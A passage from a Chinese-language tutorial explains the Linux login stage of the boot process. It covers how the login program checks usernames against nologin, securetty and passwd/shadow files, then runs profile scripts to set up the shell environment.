　　Linux的账号验证程序是login，login会接收mingetty传来的用户名作为用户名参数。然后login会对用户名进行分析：如果用户名不是root，且存在/etc/nologin文件，login将输出nologin文件的内容，然后退出。这通常用来系统维护时防止非root用户登录。只有/etc/securetty中登记了的终端才允许root用户登录，如果不存在这个文件，则root可以在任何终端上登录。
/etc/usertty文件用于对用户作出附加访问限制，如果不存在这个文件，则没有其他限制。
　　在分析完用户名后，login将搜索/etc/passwd以及/etc/shadow来验证密码以及设置账户的其它信息，比如：主目录是什么、使用何种shell。如果没有指定主目录，将默认为根目录；如果没有指定shell，将默认为/bin/bash。
　　login程序成功后，会向对应的终端在输出最近一次登录的信息(在/var/log/lastlog中有记录)，并检查用户是否有新邮件(在
/usr/spool/mail/的对应用户名目录下)。然后开始设置各种环境变量：对于bash来说，系统首先寻找/etc/profile脚本文件，并执行它；然后如果用户的主目录中存在.bash_profile文件，就执行它，在这些文件中又可能调用了其它配置文件，所有的配置文件执行后后，各种环境变量也设好了，这时会出现大家熟悉的命令行提示符，到此整个启动过程就结束了。
　　希望通过上面对Linux启动过程的剖析能帮助那些想深入学习Linux用户建立一个相关Linux启动过程的清晰概念，进而可以进一步研究Linux接下来是如何工作的。

学习.........................